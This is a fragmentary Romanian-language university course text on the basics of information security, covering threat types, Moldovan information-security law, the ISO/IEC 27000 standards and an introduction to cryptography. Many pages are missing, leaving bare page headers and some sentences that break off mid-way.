și capacitățile reale ale sistemului și caracteristicile tehnice ale lui);
incapacitatea de a lucra cu sistemul din cauza lipsei de pregătire corespunzătoare
(lipsa generală de cunoaștere a calculatorului, incapacitatea de a interpreta mesajele
de diagnostic, incapacitatea de a lucra cu documentația etc.);
incapacitatea de a lucra cu sistemul din cauza lipsei de suport tehnic (documentația
incompletă, lipsa de informații de fond etc.).
Principalele surse ale defectului intern al sistemului sunt:
devierea (accidentală sau intenționată) de la normele stabilite de funcționare;
ieșirea sistemului din modul normal de funcționare ca urmare a acțiunilor accidentale
sau intenționate ale utilizatorilor sau a personalului de întreținere (creșterea
numărului estimat de cereri, volumul excesiv de informații prelucrate, etc.);
erorile în configurația sistemului;
defecțiuni hardware și software;
distrugerea datelor;
distrugerea sau deteriorarea echipamentului.
În ceea ce privește infrastructura este recomandat să luăm în considerare următoarele
amenințări:
8
Aureliu Zgureanu. Bazele securității informaționale.
perturbări (accidentale sau intenționate) ale sistemelor de comunicații, de alimentare
cu energie electrică sau termică, apă, aer condiționat;
distrugerea sau deteriorarea încăperilor;
incapacitatea sau refuzul personalului și/sau utilizatorilor de a-și îndeplini sarcinile
(tulburări civile, accidente de transport, atac terorist sau amenințarea cu atac, grevă,
etc.).
De asemenea sunt periculoși și foștii sau actualii angajați “ofensați”, care potențial pot cauza
prejudicii organizației - “contravenientului”, cum ar fi de exemplu:
deteriorarea echipamentului;
încorporarea unei bombe logice care în cele din urmă va duce la distrugerea
sistemului și/sau a datelor;
ștergerea datelor.
Angajații “ofensați”, fie ei și foști angajați, sunt familiarizați cu ordinea interioară a
organizației și pot provoca daune considerabile. Trebuie de avut grijă ca atunci când un angajat este
concediat drepturile sale de acces (logic și fizic) la resursele informaționale sunt anulate.
Sunt periculoase de asemenea și dezastrele naturale și evenimentele percepute ca fiind
dezastre naturale - incendiile, inundațiile, cutremurele, uraganele.
Amenințările disponibilității se pot dovedi destul de dure, cum este de exemplu deteriorarea
sau chiar distrugerea echipamentului. Astfel de daune pot fi provocate de cauze naturale (de multe
ori - de furtuni), sunt periculoase scurgerile sistemelor de instalații sanitare și de încălzire,
insuficiența aerului condiționat în cazul căldurii extreme. Este binecunoscut că trebuie de făcut
periodic copii de rezervă a datelor. Cu toate acestea, chiar și în cazul în care copiile sunt făcute, ele
sunt adesea depozitate neglijent.
Un mijloc de a perturba regimul normal de funcționare al sistemului poate fi consumul
agresiv de resurse (de obicei – a benzii de rețea, a puterii de lucru a procesoarelor sau a memoriei
operative). În funcție de localizarea sursei amenințării un astfel de consum poate fi local sau la
distanță. În cazul unor erori de configurare a sistemului o aplicație software locală poate practic
monopoliza procesorul și/sau memoria fizică, reducând viteza altor aplicații la zero, sau de
exemplu, numărul de utilizatori conectați la sistem care este limitat de resurse. Un exemplu de
consum de resurse la distanță sunt atacurile DoS – refuzul serviciului.
Metodele de protecţie specifice tehnologiei informației din ziua de astăzi sunt variate,
depinzând de tipul de vulnerabilităţi spre care sunt orientate. Soluţiile date de programele antivirus,
antispam, antispyware, echipamentele sau programele de tip firewall, VPN, programele de detecţie
şi prevenire a intruziunii (IDS, IPS) sau criptarea informaţiei sunt metode folosite pe scară largă de
toţi cei care sunt conştienţi de riscurile comunicaţiilor în epoca modernă.
9
Aureliu Zgureanu. Bazele securității informaționale.
Dat fiind faptul că procesul de asigurare a securității informaţiei este o componentă esenţială
a societăţii informaţionale, au fost elaborate standarde internaţionale specifice conexe securității
informațiilor. Unele dintre cele mai importante standarde de acest tip se conțin în familia
standardelor de securitate ISO 27000 și au scopul de a ajuta organizațiile să obțină un nivel cat mai
ridicat al securității informaționale.
10
Aureliu Zgureanu. Bazele securității informaționale
Obiectivele temei:
Familiarizarea cu noțiunile generale ale aspectului legislativ de protecție a informației.
Familiarizarea cu conținutul actelor legislative ale RM referitor la infracţiunilor informatice
şi a infracţiunilor în domeniul telecomunicaţiilor.
Descierea legislației referitoare la Secretul de stat și secretul comercial.
Prezentarea altor acte legislative conexe securității informaționale.
Analiza succintă a proiectului Concepţiei securităţii informaţionale a Republicii Moldova.
Cuvinte-cheie:
Constituţia RM, secretul de stat,
Codul penal al RM, secretul comercial,
măsuri cu scop restrictiv, Legea comunicațiilor
măsuri cu scop creativ electronice,
infracţiuni informatice, Securitatea informaţională
infracţiuni în domeniul a RM.
telecomunicaţiilor,
putem baza doar pe protecția organelor de aplicare a legii. Pentru cei a căror datorie este de a
pedepsi infractorii la fel este importantă cunoașterea și respectarea acestor norme și reglementări,
deoarece asigurarea concludenței în timpul anchetei și a procesului în instanță, legat de
criminalitatea informatică, este imposibilă fără o pregătire specială.
Legea Supremă a Republicii Moldova este Constituţia RM, care a fost adoptată la data de 29
iulie 1994. Prin Constituție, în conformitate cu Articolul 34, avem Dreptul la informație. În acest
articol în particular este garantat:
(1) Dreptul persoanei de a avea acces la orice informație de interes public nu poate fi
îngrădit.
(2) Autoritățile publice, potrivit competențelor ce le revin, sunt obligate să asigure
informarea corecta a cetățenilor asupra treburilor publice și asupra problemelor de
interes personal.
(3) Dreptul la informație nu trebuie să prejudicieze măsurile de protecție a cetățenilor sau
siguranța națională.
Articolul 30 al Constituției RM garantează Secretul corespondenței:
(1) Statul asigură secretul scrisorilor, al telegramelor, al altor trimiteri poștale, al
convorbirilor telefonice și al celorlalte mijloace legale de comunicare.
(2) De la prevederile alineatului (1) se poate deroga prin lege în cazurile când această
derogare este necesară în interesele securității naționale, bunăstării economice a țării,
ordinii publice și în scopul prevenirii infracțiunilor.
Actul legislativ care cuprinde norme de drept ce stabilesc principiile şi dispoziţiile generale
şi speciale ale dreptului penal, determină faptele ce constituie infracţiuni şi prevede pedepsele ce se
aplică infractorilor este Codul penal al RM, care a fost publicat la 14.04.2009 în Monitorul Oficial
Nr. 72-74. Codul penal se aplică în conformitate cu prevederile Constituţiei Republicii Moldova şi
ale actelor internaţionale la care Republica Moldova este parte.
Articolul 180 al Codului penal Încălcarea intenţionată a legislaţiei privind accesul la
informaţie prevede:
Încălcarea intenţionată de către o persoană cu funcţie de răspundere a procedurii legale de
asigurare şi de realizare a dreptului de acces la informaţie, încălcare ce a cauzat daune în
proporţii considerabile drepturilor şi intereselor ocrotite de lege ale persoanei care a solicitat
informaţii referitoare la ocrotirea sănătăţii populaţiei, la securitatea publică, la protecţia
mediului,
2
Aureliu Zgureanu. Bazele securității informaționale
4
Aureliu Zgureanu. Bazele securității informaționale
5
Aureliu Zgureanu. Bazele securității informaționale
6
Aureliu Zgureanu. Bazele securității informaționale
7
Aureliu Zgureanu. Bazele securității informaționale
8
Aureliu Zgureanu. Bazele securității informaționale
Articolul 345 al Codului penal stipulează pedeapsa pentru pierderea documentelor ce conţin
secrete de stat:
Pierderea documentelor ce conţin secrete de stat, precum şi a obiectelor datele despre care
constituie secret de stat, de către o persoană căreia aceste documente sau obiecte i-au fost
încredinţate, dacă pierderea a fost un rezultat al încălcării regulilor stabilite de păstrare a
documentelor sau obiectelor menţionate şi a cauzat urmări grave,
se pedepseşte cu amendă în mărime de la 150 la 400 unităţi convenţionale sau cu
închisoare de până la 3 ani, în ambele cazuri cu privarea de dreptul de a ocupa
anumite funcţii sau de a exercita o anumită activitate pe un termen de până la 5 ani.
2.3.2. Secretul comercial sau bancar
Informaţiile ce nu constituie secret de stat, și care ţin de producţie, tehnologie, administrare,
de activitatea financiară şi de altă activitate a agentului economic, a căror divulgare (transmitere,
scurgere) poate să aducă atingere intereselor lui poartă denumirea de secret comercial. Informaţiile
ce constituie secret comercial sunt proprietate a agentului antreprenoriatului sau se află în posesia,
folosinţa sau la dispoziţia acestuia în limitele stabilite de el în conformitate cu legislaţia.
Articolul 24510 al Codului penal stipulează pedeapsa pentru obţinerea ilegală şi/sau
divulgarea informaţiilor ce constituie secret comercial sau bancar
(1) Colectarea de informaţii care constituie secret comercial sau bancar prin sustragerea de
informaţii, inclusiv folosirea mijloacelor tehnice speciale, extorcare sau ameninţarea cu
aplicarea violenţei nepericuloase pentru viaţa sau sănătatea persoanei,
se pedepseşte cu amendă în mărime de la 1000 la 4000 unităţi convenţionale sau cu
închisoare de la 1 la 6 ani, în ambele cazuri cu (sau fără) privarea de dreptul de a
ocupa anumite funcţii sau de a exercita o anumită activitate pe un termen de până la
3 ani.
(2) Divulgarea ilicită sau utilizarea informaţiilor ce constituie secret comercial sau bancar de
către persoana căreia i-a fost încredinţată sau i-a devenit cunoscută această informaţie în
virtutea atribuţiilor deţinute, fără consimţământul proprietarului informaţiei,
se pedepseşte cu amendă în mărime de la 1000 la 3000 unităţi convenţionale sau cu
închisoare de la 1 la 3 ani, în ambele cazuri cu (sau fără) privarea de dreptul de a
ocupa anumite funcţii sau de a exercita o anumită activitate pe un termen de până la
5 ani.
(3) Aceleaşi acţiuni care au cauzat daune în proporţii deosebit de mari,
se pedepsesc cu amendă în mărime de la 4000 la 5000 unităţi convenţionale sau cu
închisoare de la 2 la 5 ani, în ambele cazuri cu (sau fără) privarea de dreptul de a
9
Aureliu Zgureanu. Bazele securității informaționale
10
Aureliu Zgureanu. Bazele securității informaționale
11
Aureliu Zgureanu. Bazele securității informaționale
12
Aureliu Zgureanu. Bazele securității informaționale
persoane fizice şi/sau juridice, furnizarea informaţiilor referitoare la propria activitate de către
persoane fizice şi juridice private, partide şi formaţiuni social-politice, fundaţii, asociaţii obşteşti.
Legea privind accesul la informaţie are drept scop:
a) crearea cadrului normativ general al accesului la informaţiile oficiale;
b) eficientizarea procesului de informare a populaţiei şi a controlului efectuat de către
cetăţeni asupra activităţii autorităţilor publice şi a instituţiilor publice;
c) stimularea formării opiniilor şi participării active a populaţiei la procesul de luare a
deciziilor în spirit democratic.
13
Aureliu Zgureanu. Bazele securității informaționale
informaţionale şi protecţia informaţiei se consideră drept părţi componente ale sistemului naţional
de securitate.
Concepţia securităţii informaţionale a Republicii Moldova va servi drept bază pentru
elaborarea legislației Republicii Moldova, inclusiv a politicii de stat, în domeniul asigurării
securităţii informaţionale, pentru asigurarea coordonării și sporirii nivelului de eficiență a activităţii
autorităţilor administraţiei publice şi a altor organizaţii din sectorul public și privat, pentru
elaborarea programelor speciale de asigurare a securităţii informaţionale, precum şi pentru crearea
unui sistem unic de protecţie a informaţiei ce întruneşte măsurile legale, organizatorice, tehnice,
tehnologice şi fizice de protecţie.
Concepţia are drept scopuri principale crearea sistemului de asigurare a securităţii
informaţionale în Republica Moldova, sporirea nivelului de securitate informaţională a statului în
ansamblu şi perfecţionarea în continuare a cadrului legislativ privind securitatea informaţională,
fundamentată de prevederile Constituţiei Republicii Moldova, Concepţiei securităţii naţionale şi
Strategiei de securitate naţională. Concepţia determină scopurile, principiile şi sarcinile de activitate
a organelor administraţiei publice în asigurarea securităţii informaţionale, componentele de bază ale
securităţii informaţionale, ameninţări principale şi metodele de prevenire a acestora.
În final trebuie de menționat că cadrul juridic are o importanță primordială în asigurarea
unui nivel înalt de protecție a informației, iar pentru un specialist din domeniul tehnologiilor
informaționale este necesar să fie la curent cu legislația actualizată ce ține de acest domeniu. În
același timp legislația stabilește modul în care vor fi pedepsiți cei care comit infracțiuni cibernetice,
de aceea nu sunt mai puțin importante și standardele și specificațiile care reglementează lucrul
activitățile unui specialist în domeniul securității informaționale, dar și a oricărui specialist IT, care
este un subiect important în dezvoltarea sistemelor informatice.
14
“Tehnicile de securitate standardizate devin cerinţe
obligatorii pentru comerţul electronic, mediul sanitar,
telecomunicaţii, sectorul auto și multe alte domenii
industriale, comerciale sau guvernamentale.”
Prof. Edward Humphreys
Obiectivele temei:
Introducere în noțiunile de bază ale standardizării.
Prezentarea evoluției standardelor de securitate.
Caracterizarea generală a standardelor din familia ISO/IEC 27000.
Cuvinte-cheie:
standardizare,
ISO/IEC,
ISO27k,
sistem de management a
securității informației,
cod de bună practică,
tehnici de securitate,
audit şi certificare,
managementul
inciedntelor de securitate,
managementul riscului
securităţii informaţiei.
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Prof. Edward Humphreys, unul dintre responsabilii pentru elaborarea multor dintre
standardele de securitate a spus: “Tehnicile de securitate standardizate devin cerinţe obligatorii
pentru comerţul electronic, mediul sanitar, telecomunicaţii, sectorul auto și multe alte domenii
industriale, comerciale sau guvernamentale.” Cuvintele sale au fost confirmate de-a lungul timpului
de experiența avută după implementarea acestor standarde, ele având un impact major în procesul
de asigurare a securității informațiilor în diversele domenii de activitate umană.
3.1. Introducere în standardizare
Securitatea informațiilor joacă un rol important în protejarea activelor unei organizații, însă
deoarece nu există o formulă unică care poate garanta 100% securitatea, este nevoie de un set de
criterii, reguli sau standarde pentru a contribui la asigurarea atingerii unui nivel adecvat de
securitate, la utilizarea resurselor în mod eficient, la adoptarea celor mai bune practici de securitate.
Rolul primordial în elaborarea standardelor îi revine Organizației Internaționale pentru
Standardizare (ISO), care împreună cu Comisia Internațională Electrotehnică (IEC) formează un
sistem internațional specializat pentru standardizarea mondială. Organismele naționale care sunt
membre ale ISO și IEC participă la dezvoltarea standardelor internaționale prin intermediul
comitetelor tehnice. Astfel, Statele Unite ale Americii, prin intermediul Institutului Național de
Standardizare (ANSI), ocupă poziția de Secretar, 24 de țări au statut de Participanți (Brazilia,
Franța, Regatul Unit al Marii Britanii, Coreea, Cehia, Germania, Danemarca, Belgia, Portugalia,
Japonia, Olanda, Irlanda, Norvegia, Africa de Sud, Australia, Canada, Finlanda, Suedia, Slovenia,
Elveția, Noua Zeelandă și Italia) și alte 40 de țări au statut de Observatori.
În conformitate cu ISO “standardul reprezintă documentul stabilit prin consens şi aprobat
de către un organism recunoscut, care furnizează pentru utilizări comune şi repetate, reguli, linii
directoare (guidelines) sau caracteristici pentru activităţi sau rezultatele lor, în scopul realizării
unui grad optim de ordine într-un context dat”. Aceasta definiție este bazată pe rolul și scopul
standardelor în lume la etapa modernă și stabilește importanța standardelor pentru orice organizație
sau companie, plasându-le, alături de reglementările tehnice, în rândul documentelor de referință
care trebuie să stea la baza politicilor și practicilor acestora.
Standardul, este cea mai buna și cea mai simplă cale posibila pentru a comunica, pentru a
cunoaște nivelul tehnic unanim acceptat pe plan național, european sau internațional în domeniul de
activitate al oricărei companii sau organizații și nu în ultimul rând, pentru proiectarea și dezvoltarea
practicilor de management.
Mii de astfel de standarde sunt disponibile tuturor companiilor sau organizațiilor care,
datorită limbajului comun al standardizării, le pot utiliza pentru a fi competente, competitive,
participante active fără dificultăți în comunicare pe piață aleasă ca țintă în activitate.
Tehnologii Informaționale 2
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 3
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
indiferent de forme şi mărimi. Toate organizaţiile sunt încurajate să îşi evalueze riscurile de
securitate a informaţiilor și apoi să le trateze (de regulă, folosind controalele de securitate a
informațiilor), în funcţie de nevoile lor, folosindu-se de îndrumări şi sugestii acolo unde este cazul.
Având în vedere natura dinamică a informaţiilor care trebuie protejate, SMSI încorporează un
concept continuu de feedback şi îmbunătăţire a activităţilor conform ciclului Deming PDCA (Plan-
Do-Check-Act sau Planifică-Implementează-Verifică-Acţionează) de abordare continuă, care caută
să abordeze schimbările în ameninţări, vulnerabilităţi de informaţii sau de impact asupra
incidentelor de securitate.
Standardele de securitate a informației își trag rădăcinile de la sfârșitul anilor 80 ai secolului
trecut, când compania olandezo-britanică Royal Dutch Shell elaborează un documentul intern -
Information Security Policy Manual.
În 1989 UK DTI CCSC (UK Department of Trade and Industry’s Commercial Computer
Security Centre), folosind ca bază documentul celor de la Shell, a elaborat și publicat ghidul pentru
securitatea informației pentru membrii săi - User’s Code of Practice. CCSC a scris, de asemenea și
Cartea verde (The Green Books), care fiind susținută de UK Government’s Communications
Electronics Security Group (CESG) a fost transformată în standardul ITSEC.
În 1993 același UK DTI CCSC prin intermediul British Standards Institution (BSI) a lansat
un document gratuit BSI-DISC PD003 - DTI Code of Practice for Information Security
Management).
În 1995 BSI a adoptat acest cod de practica a securității informației ca standard național al
Mari Britanii cu numărul BS 7799 - Code of Practice for Information Security Management. După
cum sugerează și numele, acest document oferă îndrumări practice privind managementul securității
informațiilor într-o organizație. El descrie 10 domenii și 127 mecanisme de control, necesare pentru
elaborarea unui sistem de management al securității informației, definite pe baza celor mai bune
exemple din practica mondială a timpului.
În 1998 Standardul BS 7799 este redenumit BS 7799 Partea 1, în legătură cu elaborarea
părții a doua: BS 7799 Part 2 Information Security Management Systems - Specification with
guidance for use. În acest standard a fost introdusă procedura de îmbunătățire a măsurilor de
securitate în conformitate cu ciclul Deming.
În 1999, după revizuire, standardul BS 7799-1 a fost emis din nou (cu modificări) și
transferat către Organizația Internațională de Standardizare, iar un an mai târziu Comitetul Tehnic
ISO a adoptat BS 7799-1 fără amendamente ca de standard internațional ISO/IEC 17799: 2000.
A doua parte a BS 7799 a fost revizuită în 2002, iar la sfârșitul anului 2005 a fost adoptat ca
standard internațional ISO/IEC 27001:2005 - Tehnologia Informației - Tehnici de securitate -
Tehnologii Informaționale 4
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 5
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 6
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 7
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Acest standard internațional este conceput să fie utilizat de organizații care intenționează:
a) să aleagă mijloace de control în cadrul procesului de implementare a unui
sistem de management al securității informației pe baza ISO/IEC 27001;
b) să implementeze mijloace de control de securitate a informației general
acceptate;
c) să dezvolte propriile linii directoare referitoare la managementul securității
informației.
3.3.4. ISO/IEC 27003:2017
ISO/IEC 27003:2017, Tehnologia informaţiei - Tehnici de securitate - Îndrumări privind
implementarea unui sistem de management al securităţii informaţiei.
Standardul ISO/IEC 27003:2017 se concentrează pe aspectele critice necesare pentru
proiectarea şi implementarea cu succes a unui sistem de management al securităţii informaţiilor
(SMASI), în conformitate cu ISO/IEC 27001:2013.
Acesta descrie procesul de design şi specificaţii pentru un SMSI de la iniţiere şi până la
realizarea planurilor de implementare. Standardul ISO/IEC 27003:2017 descrie procesul de obţinere
a aprobării de implementare a unui SMSI, defineşte proiectul de implementare şi oferă îndrumări cu
privire la modul de concepere a unui proiect SMSI.
Preşedintele grupului de lucru ce a dezvoltat ISO/IEC 27003 (dar și alte standarde), prof.
Edward Humphreys, a menționat: “Prin utilizarea ISO/IEC 27003, organizaţia va fi capabilă să
dezvolte un proces pentru gestionarea informaţiilor de securitate, oferind părţilor interesate
asigurarea că riscurile legate de activele informaţionale sunt menţinute în permanenţă în parametrii
optimi de siguranţa, limite stabilite de însăşi organizaţia implementatoare”.
Standardul ISO/IEC 27003:2017 este destinat pentru a fi utilizat împreună cu standardele
ISO/IEC 27001:2013 şi ISO/IEC 27002:2013, fără a modifica sau elimina nici o prevedere stipulată
de cele două standarde. Acest standard oferă concepte legate de planificarea şi proiectarea unui
sistem de management al securităţii informaţiei, rezultând într-un final un plan riguros de
implementare a unui proiect SMSI.
Standardul furnizează îndrumări practice pentru diverse aspecte:
1) Obţinerea aprobării conducerii pentru iniţierea unui proiect SMSI:
aspecte generale privind obţinerea aprobării conducerii pentru iniţierea unui
proiect SMSI;
clarificarea priorităţilor organizaţiei pentru a dezvolta un SMSI;
definirea domeniului de aplicare preliminar al SMSI;
Tehnologii Informaționale 8
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 10
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 11
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 12
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 13
AC ADEMIA DE STUDII ECONOMICE A MOLDOVEI
Tehnologii Informaționale 14
TEMA 5: INTRODUCERE ÎN CRIPTOGRAFIE
Obiectivele temei:
Familizarizarea cu obiectivele și noțiunile de bază ale criptografiei.
Analiza cifrurilor clasice.
Studierea mecanismelor de criptare.
Introducere în atacurile criptografice.
Cuvinte-cheie:
cifru, cifru polialfabetic,
sistem de criptare, mașini rotor,
text clar, criptanaliză,
text criptat, atacuri criptografice,
substituția, forţă brută ( metoda
transpunerea, exhaustivă).
cifru monoalfabetic,
Există dovezi că criptografia ca metodă de protecție a textului s-a născut odată cu apariția
scrisului, iar metodele de secretizare a mesajelor erau deja cunoscute de civilizațiile antice din
India, Egipt și Mesopotamia. Cele mai vechi texte indiene printre cele 64 de arte menționau și
metodele de modificare a textului, unele dintre care pot fi considerate metode criptografice. Pentru a
ascunde ce a scris, autorul unei plăci din Mesopotamia ce conținea o rețetă pentru fabricarea
glazurii pentru ceramică utiliza semne necunoscute, sărea peste unele litere, iar numele le înlocuia
cu cifre. De atunci au fost găsite mai multe referiri la criptografie, cea mai mare parte a având o
utilizare militară.
În zilele noastre Criptografia oferă unele dintre cele mai bune metode (dacă nu chiar cele
mei bune) de protecție a informației. Metodele criptografice sunt aplicate în rețele și pe WEB, ele
sunt implementate în aplicații software și pe dispozitive hardware, devenind deja un accesoriu
indispensabil al tehnologiilor moderne.
1
origine greacă κρυπτός, kryptós (ascuns) şi γράφειν, gráfein (a scrie). Criptografia modernă
urmăreşte realizarea următoarelor obiective:
confidenţialitatea (privacy) – proprietatea de a păstra secretul informaţiei, pentru ca
aceasta să fie folosită numai de persoanele autorizate;
integritatea datelor (integrity) – proprietatea de a evita orice modificare (inserare,
ştergere, substituţie) neautorizată a informaţiei;
autenticitatea (authenticity) – proprietatea de a identifica o entitate conform
anumitor standarde, care include autenticitatea unei entităţi sau a sursei informaţiei;
non-repudierea (nonrepudiation) – proprietatea care previne negarea unor
evenimente anterioare.
Celelalte obiective legate de securitatea informaţiei (autentificarea mesajelor, semnături,
autorizare, validare, controlul accesului, certificare, timestamping, confirmarea recepţiei,
anonimitate, revocare) pot fi derivate din aceste patru.
Împreună cu Criptografia se dezvoltă Criptanaliza – (din greacă, kryptós, „ascuns”, şi
analýein, „a dezlega”) studiul metodelor de obţinere a înţelesului informaţiilor criptate, fără a avea
acces la informaţia secretă necesară în mod normal pentru aceasta. De regulă, aceasta implică
găsirea unei chei secrete. Criptografia şi Criptanaliza împreună constituie Criptologia (din greacă,
kryptós, „ascuns”, şi λόγος, „cuvânt”) – ştiinţa care se ocupă cu metodele de criptare şi decriptare.
În continuare sunt date unele noţiunile fundamentale cu care se operează în criptologie.
O mulţime nevidă T se numeşte alfabet.
Elementele alfabetului T se numesc litere.
O consecutivitate finită de elemente din alfabetul T se numeşte cuvânt. Una şi aceeaşi literă
poate intra într-un cuvânt de mai multe ori.
Numărul de elemente ale alfabetului se numeşte lungimea alfabetului.
Un cuvânt ce nu conţine nici o literă se numeşte cuvânt nul.
Lungimea cuvântului, notată deseori cu w, este numărul de litere în acest cuvânt, unde
fiecare literă se consideră de câte ori se întâlneşte în el.
Vom nota cu T* mulţimea tuturor cuvintelor alfabetului T. Submulţimile mulţimii T* le vom
numi limbaje (formale) peste T.
Un mesaj în forma sa originară se numeşte text clar (uneori text în clar sau text plan, în
engleză plaintext) şi îl vom nota cu pt sau cu m sau M (de la „message” - mesaj).
Rescrierea textului clar, folosind o metodă cunoscută numai de expeditor (eventual şi de
destinatar), se numeşte criptare (sau cifrare) a mesajului. Scopul rescrierii textului clar are ca scop
camuflarea textului clar în aşa fel încât substanţa să nu sufere modificări semantice pentru ca
mesajul să poată fi restabilit de destinatar în versiunea inițială a acestuia.
2
Text criptat sau text cifrat (în engleză ciphertext) se numeşte textul obţinut în rezultatul
operaţiei de criptare a textului plan. Textul criptat îl vom nota cu ct, cu c sau cu C (de la „cipher” -
cifrul). Textul cifrat se mai numeşte criptogramă.
Procesul retransformării criptogramei în textul original este numit decriptare sau descifrare.
În procesul schimbului de informație criptată destinatarul primeşte printr-un canal textul
criptat de la expeditor şi îl decriptează, ştiind metoda folosită pentru criptare, iar în rezultat el obţine
mesajul iniţial. În literatura de specialitate expeditorul de obicei este numit Alice iar destinatarul
este numit Bob. Deci, Alice şi Bob trebuie să stabilească în prealabil detaliile modalităţii de criptare
şi de decriptare.
Criptarea se foloseşte pentru a fi siguri că informaţia este inaccesibilă oricărei persoane care
nu deţine instrumentul necesar decriptării. Chiar dacă oricine poate vedea datele în formă
criptografică, oricum nu va înţelege nimic, care să conducă spre descifrarea textului original.
Persoana care interceptează criptograma şi încearcă să obţină textul clar aplicând diverse metode,
însă fără a avea cheia de decriptare, este numită criptanalist.
5.1.2. Sisteme de criptare
Un sistem care realizează operaţiile de criptare şi decriptare se numeşte sistem de criptare
(sau sistem criptografic, sau criptosistem). În criptografia modernă un sistem de criptare este definit
ca o structură cu cinci componente (P, C, K, E, D):
P = {m : m T*} – spaţiul (mulţimea) textelor în clar, scrise pentru un alfabet nevid T (în
mod obişnuit T={0,1});
K – spaţiul (mulţimea) cheilor de criptare k, k K;
Familia funcţiilor de criptare dependentă de chei şi de un algoritm de criptare E
Ek : P C, Ek = {ek : ek (m) = c şi ek este injectivă};
Familia funcţiilor de decriptare dependentă de chei şi de un algoritm de decriptare D
Dk : C P , Dk = { dk : dk (ek (m))= m pentru orice m P};
C spaţiul (mulţimea) mesajelor cu text criptat unde:
C={c : există k K, m P, c = Ek (m)}.
Schema aplicării unui sistem de criptare este prezentată în figura 5.1.
ek (m) = c
3
Un sistem de criptare este realizat în baza a trei algoritmi: algoritmul de criptare ek,
algoritmul de decriptare dk și algoritmul de generare a cheilor.
Pentru ca un sistem de criptare să fie considerat bun, el trebuie să îndeplinească trei criterii
(enunţate de Francis Bacon în sec. XVII):
1. Fiind date ek şi m P să fie uşor de calculat ek (m).
2. Fiind date dk şi c C să fie uşor de determinat dk (c).
3. Să fie imposibil de determinat m din c, fără a cunoaşte k.
Criteriile 1 şi 2 implică faptul că pentru utilizatorii legali algoritmii de criptate și decriptare
nu trebuie să fie prea complicați (se presupune că utilizatorii au un timp acceptabil pentru calcule).
În criteriul 3 „imposibilitatea” e înlocuită în prezent cu „dificultatea de a calcula”. Se presupune că
un interceptor de asemenea are acces la tehnica de calcul. Ultimul criteriu defineşte (sub o formă
vagă) ideea de ”securitate” a sistemului. La aceste criterii, Bacon adăuga şi o a patra regulă:
4. Textul criptat trebuie să fie un text banal, fără suspiciuni.
Această condiţie nu mai poate fi considerată importantă şi este utiliză astăzi doar de un
subdomeniu strict al criptografiei, numit steganografie – ştiinţa despre transmiterea secretă a
informaţiei prin păstrarea secretului a însuşi faptului transmiterii acestei informaţii.
5.1.3. Tipuri de cifruri
Metodele de criptare pot fi divizate pe categorii în felul următor (figura 5.2):
a) în funcţie de tipul operaţiilor folosite:
bazate pe substituţii;
bazate pe transpuneri;
b) în funcţie de tipul de chei folosite:
metode simetrice (cu cheie secretă);
metode asimetrice (cu cheie publică);
c) metoda prin care datele sunt procesate:
cu cifruri bloc;
cu cifruri fluide (flux, şir).
Cifrurile clasice foloseau substituţia sau transpoziţia. Printre metodele moderne de criptare
deosebim două direcţii principale: cifruri cu cheie secretă (sau cifruri simetrice) în care ek este
bijectivă şi cifruri cu chei publice (sau cifruri asimetrice) – cifruri în care ek nu este bijectivă.
4
Figura 5.2. Clasificarea cifrurilor
Cifrurile simetrice pot fi de tip bloc sau de tip şir (sau flux, sau fluide, în engleză stream
cipher). Algoritmii de tip bloc acţionează asupra blocurilor de text clar şi text cifrat. Algoritmii de
tip şir se aplică şirurilor de text clar şi text cifrat, la nivel de bit sau octet.
Algoritmii moderni de tip bloc criptează mesajul în blocuri de 64 – 265 biţi (lungimea de 64
biți este deja considerată insuficientă, standardul curent de cifrare simetrică – AES – lucrează cu
blocuri de lungime 128, 192 sau 256 biți). Pentru acesta se aplică o funcţie matematică între un bloc
de biţi ai mesajului în clar şi cheie (care poate varia ca mărime), rezultând acelaşi număr de biţi
pentru mesajul criptat. Funcţia de criptare este realizată astfel încât să îndeplinească următoarele
cerinţe:
cunoscând un bloc de biţi ai textului clar şi cheia de criptare, algoritmul să poată
genera rapid un bloc al textului criptat;
cunoscând un bloc de biţi ai textului criptat şi cheia de criptare/decriptare, sistemul
să poată genera rapid un bloc al textului clar;
cunoscând blocurile textului clar şi ale textului criptat, să fie dificil de generat cheia.
Cifrurile şir la fel formează o clasă importantă de algoritmi de criptare. Ceea ce le
caracterizează şi le diferenţiază faţă de cifrurile bloc este faptul că cifrurile şir procesează
informaţia în unităţi oricât de mici, chiar bit cu bit, aplicând funcţia XOR între biţii cheii şi biţii de
cifrat, iar funcţia de criptare se poate modifica în cursul criptării. Cifrurile şir sunt algoritmi cu
memorie, în sensul că procesul de criptare nu depinde doar de cheie şi de textul clar, ci şi de starea
curentă. În cazul în care probabilitatea erorilor de transmisie este mare, folosirea cifrurilor şir este
avantajoasă deoarece au proprietatea de a nu propaga erorile. Ele se folosesc şi în cazurile în care
datele trebuie procesate una câte una, datorită lipsei de spaţiu de memorie.
Cifruri asimetrice utilizează o pereche de chei: o cheie publică și o cheie privată. Un
utilizator care deține o astfel de pereche își publică o cheie (cheia publică) astfel încât oricine
5
dorește să o poată folosi pentru a-i transmite un mesaj criptat. Numai deținătorul cheii secrete
(private) este cel care poate decripta mesajul astfel criptat.
Cele două chei sunt legate matematic, însă cheia privată nu poate fi obținută din cheia
publică. În caz contrar, oricine ar putea decripta mesajele destinate unui alt utilizator, fiindcă oricine
are acces la cheia publică a acestuia. O analogie foarte potrivită pentru proces este folosirea cutiei
poștale. Oricine poate pune în cutia poștală a cuiva un plic, dar la plic nu are acces decât posesorul
cheii de la cutie.
Criptografia asimetrică se mai numește criptografie cu chei publice şi e compusă din două
mari ramuri:
criptarea cu cheie publică – un mesaj criptat cu o cheie publică nu poate fi
decodificat decât folosind cheia privată corespunzătoare. Metoda este folosită pentru
a asigura confidențialitatea;
